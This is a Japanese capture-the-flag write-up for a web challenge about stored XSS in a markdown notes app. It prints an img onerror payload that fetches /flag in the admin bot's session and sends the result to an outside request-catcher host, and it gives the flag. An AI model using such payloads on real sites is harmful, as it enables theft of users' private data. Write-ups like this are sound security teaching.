Skip to content

Latest commit

 

History

History

markdown

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 

markdown:web:80pts

My friend made an app for sharing their notes!
App: https://markdown.web.actf.co/
Send them a link: https://admin-bot.actf.co/markdown

index.js

Solution

サイトとAdmin BotのURLと、ソースが渡される。
アクセスするとmarkdown形式のノートが保存できるサイトのようだ。
site1.png
site2.png
ノートごとにhttps://markdown.web.actf.co/view/3da090eb6251e22aのような個別のURLとなる。
Admin Botがあることから考えてもXSSのようだ。
ソースを見るとフラグに関連する箇所は以下の通りであった。

~~~
app.get('/flag', (req, res) => {
    const cookie = req.headers.cookie ?? ''
    res.type('text/plain').end(
        cookie.includes(process.env.TOKEN)
        ? process.env.FLAG
        : 'no flag for you'
    )
})
~~~

/flagを叩けばよいが、TOKENを確認しているのでAdmin Botでfetchしなければならない。
markdownとして、XSSの基本となるペイロードを投げると、<script>alert(1)</script>は動かないが<img src=1 onerror=alert(1)>でアラートした(innerHTMLのようだ)。
リクエストを受け取るサーバを用意し、以下のペイロードをノートとして保存する。

<img src=1 onerror='fetch("/flag").then(res => res.text()).then(text => location.href="https://entrc16w8nkok.x.pipedream.net/?s=" + text)'>

ノートのURLとしてhttps://markdown.web.actf.co/view/a2a52b75931ad531が手に入るので、Admin Botに送信して踏ませる。
するとサーバへ以下のようなリクエストが届く。

GET
/?s=actf{b534186fa8b28780b1fcd1e95e2a2e2c}

flagが得られた。

actf{b534186fa8b28780b1fcd1e95e2a2e2c}